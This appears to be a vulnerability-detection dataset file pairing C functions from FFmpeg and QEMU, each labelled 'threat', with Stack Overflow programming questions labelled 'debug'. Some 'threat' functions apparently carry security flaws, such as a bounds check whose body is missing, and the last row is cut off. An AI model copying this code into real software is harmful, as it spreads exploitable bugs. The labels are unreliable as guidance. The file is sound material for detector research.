problem
stringlengths
26
131k
labels
class label
2 classes
static void sbr_mapping(AACContext *ac, SpectralBandReplication *sbr, SBRData *ch_data, int e_a[2]) { int e, i, m; memset(ch_data->s_indexmapped[1], 0, 7*sizeof(ch_data->s_indexmapped[1])); for (e = 0; e < ch_data->bs_num_env; e++) { const unsigned int ilim = sbr->n[ch_data->bs_freq_res[e + 1]]; uint16_t *table = ch_data->bs_freq_res[e + 1] ? sbr->f_tablehigh : sbr->f_tablelow; int k; for (i = 0; i < ilim; i++) for (m = table[i]; m < table[i + 1]; m++) sbr->e_origmapped[e][m - sbr->kx[1]] = ch_data->env_facs[e+1][i]; k = (ch_data->bs_num_noise > 1) && (ch_data->t_env[e] >= ch_data->t_q[1]); for (i = 0; i < sbr->n_q; i++) for (m = sbr->f_tablenoise[i]; m < sbr->f_tablenoise[i + 1]; m++) sbr->q_mapped[e][m - sbr->kx[1]] = ch_data->noise_facs[k+1][i]; for (i = 0; i < sbr->n[1]; i++) { if (ch_data->bs_add_harmonic_flag) { const unsigned int m_midpoint = (sbr->f_tablehigh[i] + sbr->f_tablehigh[i + 1]) >> 1; ch_data->s_indexmapped[e + 1][m_midpoint - sbr->kx[1]] = ch_data->bs_add_harmonic[i] * (e >= e_a[1] || (ch_data->s_indexmapped[0][m_midpoint - sbr->kx[1]] == 1)); } } for (i = 0; i < ilim; i++) { int additional_sinusoid_present = 0; for (m = table[i]; m < table[i + 1]; m++) { if (ch_data->s_indexmapped[e + 1][m - sbr->kx[1]]) { additional_sinusoid_present = 1; break; } } memset(&sbr->s_mapped[e][table[i] - sbr->kx[1]], additional_sinusoid_present, (table[i + 1] - table[i]) * sizeof(sbr->s_mapped[e][0])); } } memcpy(ch_data->s_indexmapped[0], ch_data->s_indexmapped[ch_data->bs_num_env], sizeof(ch_data->s_indexmapped[0])); }
1threat
static int net_slirp_init(NetClientState *peer, const char *model, const char *name, int restricted, const char *vnetwork, const char *vhost, const char *vhostname, const char *tftp_export, const char *bootfile, const char *vdhcp_start, const char *vnameserver, const char *smb_export, const char *vsmbserver, const char **dnssearch) { struct in_addr net = { .s_addr = htonl(0x0a000200) }; struct in_addr mask = { .s_addr = htonl(0xffffff00) }; struct in_addr host = { .s_addr = htonl(0x0a000202) }; struct in_addr dhcp = { .s_addr = htonl(0x0a00020f) }; struct in_addr dns = { .s_addr = htonl(0x0a000203) }; #ifndef _WIN32 struct in_addr smbsrv = { .s_addr = 0 }; #endif NetClientState *nc; SlirpState *s; char buf[20]; uint32_t addr; int shift; char *end; struct slirp_config_str *config; if (!tftp_export) { tftp_export = legacy_tftp_prefix; } if (!bootfile) { bootfile = legacy_bootp_filename; } if (vnetwork) { if (get_str_sep(buf, sizeof(buf), &vnetwork, '/') < 0) { if (!inet_aton(vnetwork, &net)) { return -1; } addr = ntohl(net.s_addr); if (!(addr & 0x80000000)) { mask.s_addr = htonl(0xff000000); } else if ((addr & 0xfff00000) == 0xac100000) { mask.s_addr = htonl(0xfff00000); } else if ((addr & 0xc0000000) == 0x80000000) { mask.s_addr = htonl(0xffff0000); } else if ((addr & 0xffff0000) == 0xc0a80000) { mask.s_addr = htonl(0xffff0000); } else if ((addr & 0xffff0000) == 0xc6120000) { mask.s_addr = htonl(0xfffe0000); } else if ((addr & 0xe0000000) == 0xe0000000) { mask.s_addr = htonl(0xffffff00); } else { mask.s_addr = htonl(0xfffffff0); } } else { if (!inet_aton(buf, &net)) { return -1; } shift = strtol(vnetwork, &end, 10); if (*end != '\0') { if (!inet_aton(vnetwork, &mask)) { return -1; } } else if (shift < 4 || shift > 32) { return -1; } else { mask.s_addr = htonl(0xffffffff << (32 - shift)); } } net.s_addr &= mask.s_addr; host.s_addr = net.s_addr | (htonl(0x0202) & ~mask.s_addr); dhcp.s_addr = net.s_addr | (htonl(0x020f) & ~mask.s_addr); dns.s_addr = net.s_addr | (htonl(0x0203) & ~mask.s_addr); } if (vhost && !inet_aton(vhost, &host)) { return -1; } if ((host.s_addr & mask.s_addr) != net.s_addr) { return -1; } if (vdhcp_start && !inet_aton(vdhcp_start, &dhcp)) { return -1; } if ((dhcp.s_addr & mask.s_addr) != net.s_addr || dhcp.s_addr == host.s_addr || dhcp.s_addr == dns.s_addr) { return -1; } if (vnameserver && !inet_aton(vnameserver, &dns)) { return -1; } if ((dns.s_addr & mask.s_addr) != net.s_addr || dns.s_addr == host.s_addr) { return -1; } #ifndef _WIN32 if (vsmbserver && !inet_aton(vsmbserver, &smbsrv)) { return -1; } #endif nc = qemu_new_net_client(&net_slirp_info, peer, model, name); snprintf(nc->info_str, sizeof(nc->info_str), "net=%s,restrict=%s", inet_ntoa(net), restricted ? "on" : "off"); s = DO_UPCAST(SlirpState, nc, nc); s->slirp = slirp_init(restricted, net, mask, host, vhostname, tftp_export, bootfile, dhcp, dns, dnssearch, s); QTAILQ_INSERT_TAIL(&slirp_stacks, s, entry); for (config = slirp_configs; config; config = config->next) { if (config->flags & SLIRP_CFG_HOSTFWD) { if (slirp_hostfwd(s, config->str, config->flags & SLIRP_CFG_LEGACY) < 0) goto error; } else { if (slirp_guestfwd(s, config->str, config->flags & SLIRP_CFG_LEGACY) < 0) goto error; } } #ifndef _WIN32 if (!smb_export) { smb_export = legacy_smb_export; } if (smb_export) { if (slirp_smb(s, smb_export, smbsrv) < 0) goto error; } #endif return 0; error: qemu_del_net_client(nc); return -1; }
1threat
Moving tiles BATCH : <p>I have been working on a puzzle and for some reason this does not work. </p> <p>each slide is a random letter, "a, b, c, d, e, f, g, h, i, j, k, l, m, n, o" I know that 50% of the time this can be a unsolvable puzzle (don't know how to avoid it except for having constants) </p> <p>Besides it being unsolvable half the time the movements don't work, could it be because the tiles are letters and not numbers? The movements are controlled by the wasd keys (w=up, a=left, s=down, d=right)</p> <p>The final thing is can this be any more simple/effective?</p> <pre><code>echo ____ ____ ____ ____ echo ^| ^| ^| ^| ^| echo ^| %slide1% ^| %slide2% ^| %slide3% ^| %slide4% ^| echo ^|____^|____^|____^|____^| echo ^| ^| ^| ^| ^| echo ^| %slide5% ^| %slide6% ^| %slide7% ^| %slide8% ^| echo ^|____^|____^|____^|____^| echo ^| ^| ^| ^| ^| echo ^| %slide9% ^| %slide10% ^| %slide11% ^| %slide12% ^| echo ^|____^|____^|____^|____^| echo ^| ^| ^| ^| ^| echo ^| %slide13% ^| %slide14% ^| %slide15% ^| %slide16% ^| echo ^|____^|____^|____^|____^| choice /c wasdr /n if %errorlevel% == 1 goto movew if %errorlevel% == 2 goto movea if %errorlevel% == 3 goto moves if %errorlevel% == 4 goto moved if %errorlevel% == 5 goto reset :movew if %pos% GEQ 13 goto display set /a helper=%pos% + 4 set /a slide%pos%=!slide%helper%! set slide%helper%=%default% set /a pos=%pos% + 4 :movea if %pos% == 4 goto display if %pos% == 8 goto display if %pos% == 12 goto display if %pos% == 16 goto display set /a helper=%pos% + 1 set /a slide%pos%=!slide%helper%! set slide%helper%=%default% set /a pos=%pos% + 1 goto display :moves if %pos% LEQ 4 goto display set /a helper=%pos% - 4 set /a slide%pos%=!slide%helper%! set slide%helper%=%default% set /a pos=%pos% - 4 goto display :moved if %pos% == 1 goto display if %pos% == 5 goto display if %pos% == 9 goto display if %pos% == 13 goto display set /a helper=%pos% - 1 set /a slide%pos%=!slide%helper%! set slide%helper%=%default% set /a pos=%pos% - 1 goto display </code></pre> <p>Thanks,</p>
0debug
How to make auto hyperlink regex ignore img tags with src? : <p>I have the following regex which replaces all plain-text hyperlinks into actual anchor tags.</p> <pre><code>$acturl = '~(?:(https?)://([^\s&lt;]+)|(www\.[^\s&lt;]+?\.[^\s&lt;]+))(?&lt;![\.,:])~i'; $content = preg_replace($acturl, '&lt;a href="$0"&gt;$0&lt;/a&gt;', $content); </code></pre> <p>However, the problem with this code is that it also converts img tags into anchors too.</p> <p>For example, <code>&lt;img src="https://link.com"&gt;</code> will become <code>&lt;img src="&lt;a href='https://link.com'&gt;https://link.com&lt;/a&gt;"&gt;</code>.</p> <p>Is there a way to have this regex ignore images and only operate on plain-text URLs?</p>
0debug
how can I acheive excel Find() in postgress : How can I find the position of a string starting from a specified index in postgresql-9.3+ Example find('ranranran','an',1) should outputs 2 find('ranranran','an',3) => 5 find('ranranran','an',6) => 8 Thanks
0debug
How can I convert numbers to a color scale in matplotlib? : <p>I'm making a bar plot and I want the colors of the bars to vary from red to blue according to a color gradient. I have a dimension of the data frame that tells me where on the red-blue scale each bar should be. My current method is to manually convert these values to RGB colors by linearly interpolating between the RGB red and blue colors but I want an automatic way of converting my numeric values to a color scale. I also need to be able to have a colorbar legend to help interpret it.</p>
0debug
uint32_t vga_mem_readb(VGACommonState *s, hwaddr addr) { int memory_map_mode, plane; uint32_t ret; memory_map_mode = (s->gr[VGA_GFX_MISC] >> 2) & 3; addr &= 0x1ffff; switch(memory_map_mode) { case 0: break; case 1: if (addr >= 0x10000) return 0xff; addr += s->bank_offset; break; case 2: addr -= 0x10000; if (addr >= 0x8000) return 0xff; break; default: case 3: addr -= 0x18000; if (addr >= 0x8000) return 0xff; break; } if (s->sr[VGA_SEQ_MEMORY_MODE] & VGA_SR04_CHN_4M) { ret = s->vram_ptr[addr]; } else if (s->gr[VGA_GFX_MODE] & 0x10) { plane = (s->gr[VGA_GFX_PLANE_READ] & 2) | (addr & 1); ret = s->vram_ptr[((addr & ~1) << 1) | plane]; } else { s->latch = ((uint32_t *)s->vram_ptr)[addr]; if (!(s->gr[VGA_GFX_MODE] & 0x08)) { plane = s->gr[VGA_GFX_PLANE_READ]; ret = GET_PLANE(s->latch, plane); } else { ret = (s->latch ^ mask16[s->gr[VGA_GFX_COMPARE_VALUE]]) & mask16[s->gr[VGA_GFX_COMPARE_MASK]]; ret |= ret >> 16; ret |= ret >> 8; ret = (~ret) & 0xff; } } return ret; }
1threat
Read parameters from text file in CGI : I have a text file in below `url` : www.website1.com/text1.txt I use basic authentication to access this `text1.txt` text1.txt contain : username1 password1 How can i read this parameters from URL `www.website1.com/text1.txt` in my `.cgi` script? I use this code : $f = open('http://user:pass@www.website1.com/text1.txt', "r") $u1 = f.readline() $p1 = f.readline() $MAIN_AUTH = '$u1:$p1' ; Not work
0debug
Date Split and remove of timezone : I have array which contains the following the dates ``` { Mon Feb 17 2020 00:00:00 GMT+0530 (India Standard Time) ,Tue Feb 18 2020 00:00:00 GMT+0530 (India Standard Time) ,Wed Feb 19 2020 00:00:00 GMT+0530 (India Standard Time) ,Thu Feb 20 2020 00:00:00 GMT+0530 (India Standard Time) } ``` How can i remove the time zone and convert this date to ("date/month/year") i need these with the (/) and return them to a grid column wise. example like this <!-- begin snippet: js hide: false console: true babel: false --> <!-- language: lang-html --> - |[17/02/2020] | [18/02/2020] | [19/02/2020] 1 ----- | - | - | - 2 ----- | - | - | - <!-- end snippet --> <!-- begin snippet: js hide: false console: true babel: false --> <!-- language: lang-js -->
0debug
I want to build an android app that can fetch title and description from a youtube video Url and show it in text view : I am not getting how to use youtube api to do that. if you can help me it will be greatful.
0debug
static void omap_lpg_write(void *opaque, target_phys_addr_t addr, uint64_t value, unsigned size) { struct omap_lpg_s *s = (struct omap_lpg_s *) opaque; int offset = addr & OMAP_MPUI_REG_MASK; if (size != 1) { return omap_badwidth_write8(opaque, addr, value); } switch (offset) { case 0x00: if (~value & (1 << 6)) omap_lpg_reset(s); s->control = value & 0xff; omap_lpg_update(s); return; case 0x04: s->power = value & 0x01; omap_lpg_update(s); return; default: OMAP_BAD_REG(addr); return; } }
1threat
static void rpza_decode_stream(RpzaContext *s) { int width = s->avctx->width; int stride = s->frame.linesize[0] / 2; int row_inc = stride - 4; int stream_ptr = 0; int chunk_size; unsigned char opcode; int n_blocks; unsigned short colorA = 0, colorB; unsigned short color4[4]; unsigned char index, idx; unsigned short ta, tb; unsigned short *pixels = (unsigned short *)s->frame.data[0]; int row_ptr = 0; int pixel_ptr = 0; int block_ptr; int pixel_x, pixel_y; int total_blocks; if (s->buf[stream_ptr] != 0xe1) av_log(s->avctx, AV_LOG_ERROR, "First chunk byte is 0x%02x instead of 0xe1\n", s->buf[stream_ptr]); chunk_size = AV_RB32(&s->buf[stream_ptr]) & 0x00FFFFFF; stream_ptr += 4; if (chunk_size != s->size) av_log(s->avctx, AV_LOG_ERROR, "MOV chunk size != encoded chunk size; using MOV chunk size\n"); chunk_size = s->size; total_blocks = ((s->avctx->width + 3) / 4) * ((s->avctx->height + 3) / 4); while (stream_ptr < chunk_size) { opcode = s->buf[stream_ptr++]; n_blocks = (opcode & 0x1f) + 1; if ((opcode & 0x80) == 0) { colorA = (opcode << 8) | (s->buf[stream_ptr++]); opcode = 0; if ((s->buf[stream_ptr] & 0x80) != 0) { opcode = 0x20; n_blocks = 1; } } switch (opcode & 0xe0) { case 0x80: while (n_blocks--) { ADVANCE_BLOCK(); } break; case 0xa0: colorA = AV_RB16 (&s->buf[stream_ptr]); stream_ptr += 2; while (n_blocks--) { block_ptr = row_ptr + pixel_ptr; for (pixel_y = 0; pixel_y < 4; pixel_y++) { for (pixel_x = 0; pixel_x < 4; pixel_x++){ pixels[block_ptr] = colorA; block_ptr++; } block_ptr += row_inc; } ADVANCE_BLOCK(); } break; case 0xc0: colorA = AV_RB16 (&s->buf[stream_ptr]); stream_ptr += 2; case 0x20: colorB = AV_RB16 (&s->buf[stream_ptr]); stream_ptr += 2; color4[0] = colorB; color4[1] = 0; color4[2] = 0; color4[3] = colorA; ta = (colorA >> 10) & 0x1F; tb = (colorB >> 10) & 0x1F; color4[1] |= ((11 * ta + 21 * tb) >> 5) << 10; color4[2] |= ((21 * ta + 11 * tb) >> 5) << 10; ta = (colorA >> 5) & 0x1F; tb = (colorB >> 5) & 0x1F; color4[1] |= ((11 * ta + 21 * tb) >> 5) << 5; color4[2] |= ((21 * ta + 11 * tb) >> 5) << 5; ta = colorA & 0x1F; tb = colorB & 0x1F; color4[1] |= ((11 * ta + 21 * tb) >> 5); color4[2] |= ((21 * ta + 11 * tb) >> 5); while (n_blocks--) { block_ptr = row_ptr + pixel_ptr; for (pixel_y = 0; pixel_y < 4; pixel_y++) { index = s->buf[stream_ptr++]; for (pixel_x = 0; pixel_x < 4; pixel_x++){ idx = (index >> (2 * (3 - pixel_x))) & 0x03; pixels[block_ptr] = color4[idx]; block_ptr++; } block_ptr += row_inc; } ADVANCE_BLOCK(); } break; case 0x00: if (s->size - stream_ptr < 16) block_ptr = row_ptr + pixel_ptr; for (pixel_y = 0; pixel_y < 4; pixel_y++) { for (pixel_x = 0; pixel_x < 4; pixel_x++){ if ((pixel_y != 0) || (pixel_x !=0)) { colorA = AV_RB16 (&s->buf[stream_ptr]); stream_ptr += 2; } pixels[block_ptr] = colorA; block_ptr++; } block_ptr += row_inc; } ADVANCE_BLOCK(); break; default: av_log(s->avctx, AV_LOG_ERROR, "Unknown opcode %d in rpza chunk." " Skip remaining %d bytes of chunk data.\n", opcode, chunk_size - stream_ptr); } } }
1threat
void mips_malta_init(QEMUMachineInitArgs *args) { ram_addr_t ram_size = args->ram_size; const char *cpu_model = args->cpu_model; const char *kernel_filename = args->kernel_filename; const char *kernel_cmdline = args->kernel_cmdline; const char *initrd_filename = args->initrd_filename; char *filename; pflash_t *fl; MemoryRegion *system_memory = get_system_memory(); MemoryRegion *ram = g_new(MemoryRegion, 1); MemoryRegion *bios, *bios_copy = g_new(MemoryRegion, 1); target_long bios_size = FLASH_SIZE; int64_t kernel_entry; PCIBus *pci_bus; ISABus *isa_bus; MIPSCPU *cpu; CPUMIPSState *env; qemu_irq *isa_irq; qemu_irq *cpu_exit_irq; int piix4_devfn; i2c_bus *smbus; int i; DriveInfo *dinfo; DriveInfo *hd[MAX_IDE_BUS * MAX_IDE_DEVS]; DriveInfo *fd[MAX_FD]; int fl_idx = 0; int fl_sectors = bios_size >> 16; int be; DeviceState *dev = qdev_create(NULL, TYPE_MIPS_MALTA); MaltaState *s = MIPS_MALTA(dev); qdev_init_nofail(dev); for(i = 0; i < 3; i++) { if (!serial_hds[i]) { char label[32]; snprintf(label, sizeof(label), "serial%d", i); serial_hds[i] = qemu_chr_new(label, "null", NULL); } } if (cpu_model == NULL) { #ifdef TARGET_MIPS64 cpu_model = "20Kc"; #else cpu_model = "24Kf"; #endif } for (i = 0; i < smp_cpus; i++) { cpu = cpu_mips_init(cpu_model); if (cpu == NULL) { fprintf(stderr, "Unable to find CPU definition\n"); exit(1); } env = &cpu->env; cpu_mips_irq_init_cpu(env); cpu_mips_clock_init(env); qemu_register_reset(main_cpu_reset, cpu); } cpu = MIPS_CPU(first_cpu); env = &cpu->env; if (ram_size > (256 << 20)) { fprintf(stderr, "qemu: Too much memory for this machine: %d MB, maximum 256 MB\n", ((unsigned int)ram_size / (1 << 20))); exit(1); } memory_region_init_ram(ram, NULL, "mips_malta.ram", ram_size); vmstate_register_ram_global(ram); memory_region_add_subregion(system_memory, 0, ram); eeprom_generate(&eeprom, ram_size); #ifdef TARGET_WORDS_BIGENDIAN be = 1; #else be = 0; #endif malta_fpga_init(system_memory, FPGA_ADDRESS, env->irq[4], serial_hds[2]); dinfo = drive_get(IF_PFLASH, 0, fl_idx); #ifdef DEBUG_BOARD_INIT if (dinfo) { printf("Register parallel flash %d size " TARGET_FMT_lx " at " "addr %08llx '%s' %x\n", fl_idx, bios_size, FLASH_ADDRESS, bdrv_get_device_name(dinfo->bdrv), fl_sectors); } #endif fl = pflash_cfi01_register(FLASH_ADDRESS, NULL, "mips_malta.bios", BIOS_SIZE, dinfo ? dinfo->bdrv : NULL, 65536, fl_sectors, 4, 0x0000, 0x0000, 0x0000, 0x0000, be); bios = pflash_cfi01_get_memory(fl); fl_idx++; if (kernel_filename) { loaderparams.ram_size = ram_size; loaderparams.kernel_filename = kernel_filename; loaderparams.kernel_cmdline = kernel_cmdline; loaderparams.initrd_filename = initrd_filename; kernel_entry = load_kernel(); write_bootloader(env, memory_region_get_ram_ptr(bios), kernel_entry); } else { if (!dinfo) { if (bios_name == NULL) { bios_name = BIOS_FILENAME; } filename = qemu_find_file(QEMU_FILE_TYPE_BIOS, bios_name); if (filename) { bios_size = load_image_targphys(filename, FLASH_ADDRESS, BIOS_SIZE); g_free(filename); } else { bios_size = -1; } if ((bios_size < 0 || bios_size > BIOS_SIZE) && !kernel_filename) { fprintf(stderr, "qemu: Warning, could not load MIPS bios '%s', and no -kernel argument was specified\n", bios_name); } } #ifndef TARGET_WORDS_BIGENDIAN { uint32_t *end, *addr = rom_ptr(FLASH_ADDRESS); if (!addr) { addr = memory_region_get_ram_ptr(bios); } end = (void *)addr + MIN(bios_size, 0x3e0000); while (addr < end) { bswap32s(addr); addr++; } } #endif } memory_region_init_ram(bios_copy, NULL, "bios.1fc", BIOS_SIZE); if (!rom_copy(memory_region_get_ram_ptr(bios_copy), FLASH_ADDRESS, bios_size)) { memcpy(memory_region_get_ram_ptr(bios_copy), memory_region_get_ram_ptr(bios), bios_size); } memory_region_set_readonly(bios_copy, true); memory_region_add_subregion(system_memory, RESET_ADDRESS, bios_copy); stl_p(memory_region_get_ram_ptr(bios_copy) + 0x10, 0x00000420); cpu_mips_irq_init_cpu(env); cpu_mips_clock_init(env); isa_irq = qemu_irq_proxy(&s->i8259, 16); pci_bus = gt64120_register(isa_irq); ide_drive_get(hd, MAX_IDE_BUS); piix4_devfn = piix4_init(pci_bus, &isa_bus, 80); s->i8259 = i8259_init(isa_bus, env->irq[2]); isa_bus_irqs(isa_bus, s->i8259); pci_piix4_ide_init(pci_bus, hd, piix4_devfn + 1); pci_create_simple(pci_bus, piix4_devfn + 2, "piix4-usb-uhci"); smbus = piix4_pm_init(pci_bus, piix4_devfn + 3, 0x1100, isa_get_irq(NULL, 9), NULL, 0, NULL); smbus_eeprom_init(smbus, 8, NULL, 0); pit = pit_init(isa_bus, 0x40, 0, NULL); cpu_exit_irq = qemu_allocate_irqs(cpu_request_exit, NULL, 1); DMA_init(0, cpu_exit_irq); isa_create_simple(isa_bus, "i8042"); rtc_init(isa_bus, 2000, NULL); serial_isa_init(isa_bus, 0, serial_hds[0]); serial_isa_init(isa_bus, 1, serial_hds[1]); if (parallel_hds[0]) parallel_init(isa_bus, 0, parallel_hds[0]); for(i = 0; i < MAX_FD; i++) { fd[i] = drive_get(IF_FLOPPY, 0, i); } fdctrl_init_isa(isa_bus, fd); network_init(pci_bus); pci_vga_init(pci_bus); }
1threat
PAETH(mmx2, ABS3_MMX2) #ifdef HAVE_SSSE3 PAETH(ssse3, ABS3_SSSE3) #endif #define QPEL_V_LOW(m3,m4,m5,m6, pw_20, pw_3, rnd, in0, in1, in2, in7, out, OP)\ "paddw " #m4 ", " #m3 " \n\t" \ "movq "MANGLE(ff_pw_20)", %%mm4 \n\t" \ "pmullw " #m3 ", %%mm4 \n\t" \ "movq "#in7", " #m3 " \n\t" \ "movq "#in0", %%mm5 \n\t" \ "paddw " #m3 ", %%mm5 \n\t" \ "psubw %%mm5, %%mm4 \n\t" \ "movq "#in1", %%mm5 \n\t" \ "movq "#in2", %%mm6 \n\t" \ "paddw " #m6 ", %%mm5 \n\t" \ "paddw " #m5 ", %%mm6 \n\t" \ "paddw %%mm6, %%mm6 \n\t" \ "psubw %%mm6, %%mm5 \n\t" \ "pmullw "MANGLE(ff_pw_3)", %%mm5 \n\t" \ "paddw " #rnd ", %%mm4 \n\t" \ "paddw %%mm4, %%mm5 \n\t" \ "psraw $5, %%mm5 \n\t"\ "packuswb %%mm5, %%mm5 \n\t"\ OP(%%mm5, out, %%mm7, d) #define QPEL_BASE(OPNAME, ROUNDER, RND, OP_MMX2, OP_3DNOW)\ static void OPNAME ## mpeg4_qpel16_h_lowpass_mmx2(uint8_t *dst, uint8_t *src, int dstStride, int srcStride, int h){\ uint64_t temp;\ \ asm volatile(\ "pxor %%mm7, %%mm7 \n\t"\ "1: \n\t"\ "movq (%0), %%mm0 \n\t" \ "movq %%mm0, %%mm1 \n\t" \ "movq %%mm0, %%mm2 \n\t" \ "punpcklbw %%mm7, %%mm0 \n\t" \ "punpckhbw %%mm7, %%mm1 \n\t" \ "pshufw $0x90, %%mm0, %%mm5 \n\t" \ "pshufw $0x41, %%mm0, %%mm6 \n\t" \ "movq %%mm2, %%mm3 \n\t" \ "movq %%mm2, %%mm4 \n\t" \ "psllq $8, %%mm2 \n\t" \ "psllq $16, %%mm3 \n\t" \ "psllq $24, %%mm4 \n\t" \ "punpckhbw %%mm7, %%mm2 \n\t" \ "punpckhbw %%mm7, %%mm3 \n\t" \ "punpckhbw %%mm7, %%mm4 \n\t" \ "paddw %%mm3, %%mm5 \n\t" \ "paddw %%mm2, %%mm6 \n\t" \ "paddw %%mm5, %%mm5 \n\t" \ "psubw %%mm5, %%mm6 \n\t" \ "pshufw $0x06, %%mm0, %%mm5 \n\t" \ "pmullw "MANGLE(ff_pw_3)", %%mm6 \n\t" \ "paddw %%mm4, %%mm0 \n\t" \ "paddw %%mm1, %%mm5 \n\t" \ "pmullw "MANGLE(ff_pw_20)", %%mm0 \n\t" \ "psubw %%mm5, %%mm0 \n\t" \ "paddw %6, %%mm6 \n\t"\ "paddw %%mm6, %%mm0 \n\t" \ "psraw $5, %%mm0 \n\t"\ "movq %%mm0, %5 \n\t"\ \ \ "movq 5(%0), %%mm0 \n\t" \ "movq %%mm0, %%mm5 \n\t" \ "movq %%mm0, %%mm6 \n\t" \ "psrlq $8, %%mm0 \n\t" \ "psrlq $16, %%mm5 \n\t" \ "punpcklbw %%mm7, %%mm0 \n\t" \ "punpcklbw %%mm7, %%mm5 \n\t" \ "paddw %%mm0, %%mm2 \n\t" \ "paddw %%mm5, %%mm3 \n\t" \ "paddw %%mm2, %%mm2 \n\t" \ "psubw %%mm2, %%mm3 \n\t" \ "movq %%mm6, %%mm2 \n\t" \ "psrlq $24, %%mm6 \n\t" \ "punpcklbw %%mm7, %%mm2 \n\t" \ "punpcklbw %%mm7, %%mm6 \n\t" \ "pmullw "MANGLE(ff_pw_3)", %%mm3 \n\t" \ "paddw %%mm2, %%mm1 \n\t" \ "paddw %%mm6, %%mm4 \n\t" \ "pmullw "MANGLE(ff_pw_20)", %%mm1 \n\t" \ "psubw %%mm4, %%mm3 \n\t" \ "paddw %6, %%mm1 \n\t"\ "paddw %%mm1, %%mm3 \n\t" \ "psraw $5, %%mm3 \n\t"\ "movq %5, %%mm1 \n\t"\ "packuswb %%mm3, %%mm1 \n\t"\ OP_MMX2(%%mm1, (%1),%%mm4, q)\ \ \ "movq 9(%0), %%mm1 \n\t" \ "movq %%mm1, %%mm4 \n\t" \ "movq %%mm1, %%mm3 \n\t" \ "psrlq $8, %%mm1 \n\t" \ "psrlq $16, %%mm4 \n\t" \ "punpcklbw %%mm7, %%mm1 \n\t" \ "punpcklbw %%mm7, %%mm4 \n\t" \ "paddw %%mm1, %%mm5 \n\t" \ "paddw %%mm4, %%mm0 \n\t" \ "paddw %%mm5, %%mm5 \n\t" \ "psubw %%mm5, %%mm0 \n\t" \ "movq %%mm3, %%mm5 \n\t" \ "psrlq $24, %%mm3 \n\t" \ "pmullw "MANGLE(ff_pw_3)", %%mm0 \n\t" \ "punpcklbw %%mm7, %%mm3 \n\t" \ "paddw %%mm3, %%mm2 \n\t" \ "psubw %%mm2, %%mm0 \n\t" \ "movq %%mm5, %%mm2 \n\t" \ "punpcklbw %%mm7, %%mm2 \n\t" \ "punpckhbw %%mm7, %%mm5 \n\t" \ "paddw %%mm2, %%mm6 \n\t" \ "pmullw "MANGLE(ff_pw_20)", %%mm6 \n\t" \ "paddw %6, %%mm0 \n\t"\ "paddw %%mm6, %%mm0 \n\t" \ "psraw $5, %%mm0 \n\t"\ \ \ "paddw %%mm5, %%mm3 \n\t" \ "pshufw $0xF9, %%mm5, %%mm6 \n\t" \ "paddw %%mm4, %%mm6 \n\t" \ "pshufw $0xBE, %%mm5, %%mm4 \n\t" \ "pshufw $0x6F, %%mm5, %%mm5 \n\t" \ "paddw %%mm1, %%mm4 \n\t" \ "paddw %%mm2, %%mm5 \n\t" \ "paddw %%mm6, %%mm6 \n\t" \ "psubw %%mm6, %%mm4 \n\t" \ "pmullw "MANGLE(ff_pw_20)", %%mm3 \n\t" \ "pmullw "MANGLE(ff_pw_3)", %%mm4 \n\t" \ "psubw %%mm5, %%mm3 \n\t" \ "paddw %6, %%mm4 \n\t"\ "paddw %%mm3, %%mm4 \n\t" \ "psraw $5, %%mm4 \n\t"\ "packuswb %%mm4, %%mm0 \n\t"\ OP_MMX2(%%mm0, 8(%1), %%mm4, q)\ \ "add %3, %0 \n\t"\ "add %4, %1 \n\t"\ "decl %2 \n\t"\ " jnz 1b \n\t"\ : "+a"(src), "+c"(dst), "+g"(h)\ : "d"((long)srcStride), "S"((long)dstStride), "m"(temp), "m"(ROUNDER)\ : "memory"\ );\ }\ \ static void OPNAME ## mpeg4_qpel16_h_lowpass_3dnow(uint8_t *dst, uint8_t *src, int dstStride, int srcStride, int h){\ int i;\ int16_t temp[16];\ \ for(i=0; i<h; i++)\ {\ temp[ 0]= (src[ 0]+src[ 1])*20 - (src[ 0]+src[ 2])*6 + (src[ 1]+src[ 3])*3 - (src[ 2]+src[ 4]);\ temp[ 1]= (src[ 1]+src[ 2])*20 - (src[ 0]+src[ 3])*6 + (src[ 0]+src[ 4])*3 - (src[ 1]+src[ 5]);\ temp[ 2]= (src[ 2]+src[ 3])*20 - (src[ 1]+src[ 4])*6 + (src[ 0]+src[ 5])*3 - (src[ 0]+src[ 6]);\ temp[ 3]= (src[ 3]+src[ 4])*20 - (src[ 2]+src[ 5])*6 + (src[ 1]+src[ 6])*3 - (src[ 0]+src[ 7]);\ temp[ 4]= (src[ 4]+src[ 5])*20 - (src[ 3]+src[ 6])*6 + (src[ 2]+src[ 7])*3 - (src[ 1]+src[ 8]);\ temp[ 5]= (src[ 5]+src[ 6])*20 - (src[ 4]+src[ 7])*6 + (src[ 3]+src[ 8])*3 - (src[ 2]+src[ 9]);\ temp[ 6]= (src[ 6]+src[ 7])*20 - (src[ 5]+src[ 8])*6 + (src[ 4]+src[ 9])*3 - (src[ 3]+src[10]);\ temp[ 7]= (src[ 7]+src[ 8])*20 - (src[ 6]+src[ 9])*6 + (src[ 5]+src[10])*3 - (src[ 4]+src[11]);\ temp[ 8]= (src[ 8]+src[ 9])*20 - (src[ 7]+src[10])*6 + (src[ 6]+src[11])*3 - (src[ 5]+src[12]);\ temp[ 9]= (src[ 9]+src[10])*20 - (src[ 8]+src[11])*6 + (src[ 7]+src[12])*3 - (src[ 6]+src[13]);\ temp[10]= (src[10]+src[11])*20 - (src[ 9]+src[12])*6 + (src[ 8]+src[13])*3 - (src[ 7]+src[14]);\ temp[11]= (src[11]+src[12])*20 - (src[10]+src[13])*6 + (src[ 9]+src[14])*3 - (src[ 8]+src[15]);\ temp[12]= (src[12]+src[13])*20 - (src[11]+src[14])*6 + (src[10]+src[15])*3 - (src[ 9]+src[16]);\ temp[13]= (src[13]+src[14])*20 - (src[12]+src[15])*6 + (src[11]+src[16])*3 - (src[10]+src[16]);\ temp[14]= (src[14]+src[15])*20 - (src[13]+src[16])*6 + (src[12]+src[16])*3 - (src[11]+src[15]);\ temp[15]= (src[15]+src[16])*20 - (src[14]+src[16])*6 + (src[13]+src[15])*3 - (src[12]+src[14]);\ asm volatile(\ "movq (%0), %%mm0 \n\t"\ "movq 8(%0), %%mm1 \n\t"\ "paddw %2, %%mm0 \n\t"\ "paddw %2, %%mm1 \n\t"\ "psraw $5, %%mm0 \n\t"\ "psraw $5, %%mm1 \n\t"\ "packuswb %%mm1, %%mm0 \n\t"\ OP_3DNOW(%%mm0, (%1), %%mm1, q)\ "movq 16(%0), %%mm0 \n\t"\ "movq 24(%0), %%mm1 \n\t"\ "paddw %2, %%mm0 \n\t"\ 